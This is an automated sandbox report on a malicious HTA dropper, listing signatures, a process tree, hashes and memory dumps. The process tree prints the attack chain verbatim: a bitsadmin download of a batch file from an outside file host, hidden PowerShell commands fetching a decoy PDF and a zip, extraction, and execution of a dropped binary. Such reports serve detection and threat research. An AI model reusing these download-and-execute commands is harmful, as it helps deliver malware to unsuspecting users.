Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-08-2023 07:50

General

  • Target

    akuy4l.hta

  • Size

    896B

  • MD5

    ce90f45a4b8b1293cfb92f591c717d51

  • SHA1

    5336b02e6b573891fb4bd2898849c3a94a77dc51

  • SHA256

    b08756158b8b618cdf9defc7134737b1d0da931210b583643a7a0af3e927b9c4

  • SHA512

    d553d0a177ea68d11a7aab548d7613e356cb9875b8e2995aee1ba62d8317e0d8de872c40095f4c5e1ac4154f8388e0829717993e51228cd0fccfa6f2bb132f79

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\akuy4l.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://files.catbox.moe/enuvvy.bat C:\Users\Admin\AppData\Local\Temp\c.bat
      2⤵
      • Download via BitsAdmin
      PID:3268
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://files.catbox.moe/lgarsx.pdf -OutFile C:\Users\Admin\AppData\Local\Temp\info.pdf"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4420
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\info.pdf"
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2492
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=93A89F6235123BFC291809ADBBB62C52 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:4672
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=A2676715ED53806CA9D240555325FECA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=A2676715ED53806CA9D240555325FECA --renderer-client-id=2 --mojo-platform-channel-handle=1780 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:4964
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=911E63F89D9D46925A8045C4ADF6FAC4 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=911E63F89D9D46925A8045C4ADF6FAC4 --renderer-client-id=4 --mojo-platform-channel-handle=2212 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:672
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B78FF977E7B5D40F8FC4DA763903F4F1 --mojo-platform-channel-handle=2332 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:1704
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3E370183D3BDF1854C9FCBC031B63A32 --mojo-platform-channel-handle=2588 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:1600
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=52793639B0B14E77E182673C2F4205FE --mojo-platform-channel-handle=1928 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:536
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://files.catbox.moe/yhubur.zip -OutFile C:\Users\Admin\AppData\Local\Temp\goal.zip"
                    3⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1976
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\goal.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\goal -Force"
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1132
                  • C:\Users\Admin\AppData\Local\Temp\goal\goal.com
                    goal.com
                    3⤵
                    • Executes dropped EXE
                    PID:3236

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                Filesize

                36KB

                MD5

                b30d3becc8731792523d599d949e63f5

                SHA1

                19350257e42d7aee17fb3bf139a9d3adb330fad4

                SHA256

                b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                SHA512

                523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                Filesize

                56KB

                MD5

                752a1f26b18748311b691c7d8fc20633

                SHA1

                c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                SHA256

                111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                SHA512

                a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                Filesize

                64KB

                MD5

                907f949f4077b369772bcc84726d1396

                SHA1

                e4434bbdbe3091e734b4fb7540266d18a9175fda

                SHA256

                abdf12ee67b316493d22927c8561105e18698ce6de7355b62f1ed4ecdf3cd53b

                SHA512

                a950b1007928e887b6ab2a1b50a70cb56a929cf5129fc91bc62a94e19cebb6a24436909c0b2a2139effcf37e932b039aba075ad5ee7a03fe8d6c8cafe4e12ac7

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                Filesize

                1KB

                MD5

                4280e36a29fa31c01e4d8b2ba726a0d8

                SHA1

                c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                SHA256

                e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                SHA512

                494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                16KB

                MD5

                8409a2bf339e39f91fc2ebd3fde0dad7

                SHA1

                51754c228c05e93f0749cf95ce524a176ca48c67

                SHA256

                3e0770dd1dfa4ccbf1aa896ba72ed6f459ba58a9e72225ea75e08e5d143c409e

                SHA512

                4b4d12765a63273911b583b0e3d291f6de461fffb0534b18255549fa46540a5fa846f60f61aca591465df2a8fb30493b323d991e732606863f3765c7ce773e90

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                16KB

                MD5

                8cd585d3a180450479f5b91111d5f817

                SHA1

                02488666ba0fec19639c507663e6e0de81ba1646

                SHA256

                6934211a9ad1fc55030d00a7bc2d76537b25feb25ce2c83d24768a6575a9b0b9

                SHA512

                71d48e0bd562be4179e0dafe9566a49a00e63afc877c61839b9a6d03ab164129f913c6ca7c67563a647da85dd07b19e8db0a430f01b39edcb44075020436b2ab

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nzt0v5ta.phy.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\goal.zip

                Filesize

                2.0MB

                MD5

                4169bfe3f6b218deeeaec14f19d4944a

                SHA1

                8fa6aa6b3479f8871ccbb91f5b5058903a3e6906

                SHA256

                1bb6378bbf1bac5a3f0857815e1be778d1ef0ca555954d64b4ed541240451467

                SHA512

                63dbe666e98370251dfb5c698c8c2358447d284f27cb1cbcfabcde195fac689577919deacedbbe277dcdf18f067e2f79b0695bfa3a75a267589147cd8a92a5b4

              • C:\Users\Admin\AppData\Local\Temp\goal\goal.com

                Filesize

                778.6MB

                MD5

                44389fa9a8873660328540a94f09d228

                SHA1

                9af6213d6d2e178fe61b57b9c048660187e4eca7

                SHA256

                b6cbb3c56f5daad2117ad73e70a9b910c7630ba49fe53504c503272de3a4b6db

                SHA512

                68a5cb80b79e646cd350c55b0ad00ec03101297ed5e23617f4966b3c69df3784805cd576825b7ae8b340c5b8a4c59ab75b7a3547050cb75c7b48c37e8de8cdf5

              • C:\Users\Admin\AppData\Local\Temp\goal\goal.com

                Filesize

                781.9MB

                MD5

                d3f11096d9643a96cfeec81b7d4ac59b

                SHA1

                a623c89484b45e6bb66872a7ecc4da8a249b0fc6

                SHA256

                4307416e6a93453a91b1456c17b512ac03132c66d40adf7ca06682e1f9e178c2

                SHA512

                289b1410643f1ffadf31075ff929c40a75ec079582ad3a78051b57f00c64283fe4013f0e1f369982f18045337e96cb0c6b3185090314806a1efab810aaae8b6c

              • C:\Users\Admin\AppData\Local\Temp\info.pdf

                Filesize

                737KB

                MD5

                466d18edebd09e5e05d36a6d15d27375

                SHA1

                481b4bd090d2ac36d7d1ba67551bf08e5e7ca1b7

                SHA256

                bb0795a8bdc34373f9694270e2d417f9cccb676b12cec1b9514732db378d029b

                SHA512

                69530230fbec36251d48a2a02f78a5bdd955e1ec345694b6b3f43d03783133e503b11cf71160a9ba210ef53c8799d017c4f68e5fc2c9e49474e69fc2cadf6a7a

              • memory/1132-232-0x0000000004E00000-0x0000000004E0A000-memory.dmp

                Filesize

                40KB

              • memory/1132-225-0x00000000074E0000-0x00000000074EA000-memory.dmp

                Filesize

                40KB

              • memory/1132-287-0x00000000729F0000-0x00000000731A0000-memory.dmp

                Filesize

                7.7MB

              • memory/1132-264-0x000000007EFC0000-0x000000007EFD0000-memory.dmp

                Filesize

                64KB

              • memory/1132-256-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                Filesize

                64KB

              • memory/1132-237-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                Filesize

                64KB

              • memory/1132-236-0x00000000729F0000-0x00000000731A0000-memory.dmp

                Filesize

                7.7MB

              • memory/1132-231-0x0000000004E10000-0x0000000004E22000-memory.dmp

                Filesize

                72KB

              • memory/1132-230-0x0000000008710000-0x0000000008CB4000-memory.dmp

                Filesize

                5.6MB

              • memory/1132-176-0x00000000729F0000-0x00000000731A0000-memory.dmp

                Filesize

                7.7MB

              • memory/1132-177-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                Filesize

                64KB

              • memory/1132-229-0x00000000076C0000-0x00000000076E2000-memory.dmp

                Filesize

                136KB

              • memory/1132-202-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                Filesize

                64KB

              • memory/1132-208-0x000000007EFC0000-0x000000007EFD0000-memory.dmp

                Filesize

                64KB

              • memory/1132-209-0x00000000072E0000-0x0000000007312000-memory.dmp

                Filesize

                200KB

              • memory/1132-210-0x000000006D850000-0x000000006D89C000-memory.dmp

                Filesize

                304KB

              • memory/1132-220-0x0000000006700000-0x000000000671E000-memory.dmp

                Filesize

                120KB

              • memory/1132-226-0x0000000007710000-0x00000000077A6000-memory.dmp

                Filesize

                600KB

              • memory/1976-161-0x0000000004940000-0x0000000004950000-memory.dmp

                Filesize

                64KB

              • memory/1976-175-0x0000000073480000-0x0000000073C30000-memory.dmp

                Filesize

                7.7MB

              • memory/1976-172-0x0000000004940000-0x0000000004950000-memory.dmp

                Filesize

                64KB

              • memory/1976-160-0x0000000073480000-0x0000000073C30000-memory.dmp

                Filesize

                7.7MB

              • memory/2984-397-0x0000000003BD0000-0x0000000003BFA000-memory.dmp

                Filesize

                168KB

              • memory/3236-344-0x00000250E3750000-0x00000250E376D000-memory.dmp

                Filesize

                116KB

              • memory/4420-138-0x0000000005DC0000-0x0000000005E26000-memory.dmp

                Filesize

                408KB

              • memory/4420-150-0x0000000004FE0000-0x0000000004FF0000-memory.dmp

                Filesize

                64KB

              • memory/4420-156-0x0000000074E70000-0x0000000075620000-memory.dmp

                Filesize

                7.7MB

              • memory/4420-137-0x00000000054D0000-0x00000000054F2000-memory.dmp

                Filesize

                136KB

              • memory/4420-144-0x0000000005E60000-0x0000000005EC6000-memory.dmp

                Filesize

                408KB

              • memory/4420-151-0x0000000007EC0000-0x000000000853A000-memory.dmp

                Filesize

                6.5MB

              • memory/4420-152-0x00000000069C0000-0x00000000069DA000-memory.dmp

                Filesize

                104KB

              • memory/4420-136-0x0000000005620000-0x0000000005C48000-memory.dmp

                Filesize

                6.2MB

              • memory/4420-135-0x0000000004FE0000-0x0000000004FF0000-memory.dmp

                Filesize

                64KB

              • memory/4420-133-0x0000000004ED0000-0x0000000004F06000-memory.dmp

                Filesize

                216KB

              • memory/4420-134-0x0000000074E70000-0x0000000075620000-memory.dmp

                Filesize

                7.7MB

              • memory/4420-149-0x00000000063E0000-0x00000000063FE000-memory.dmp

                Filesize

                120KB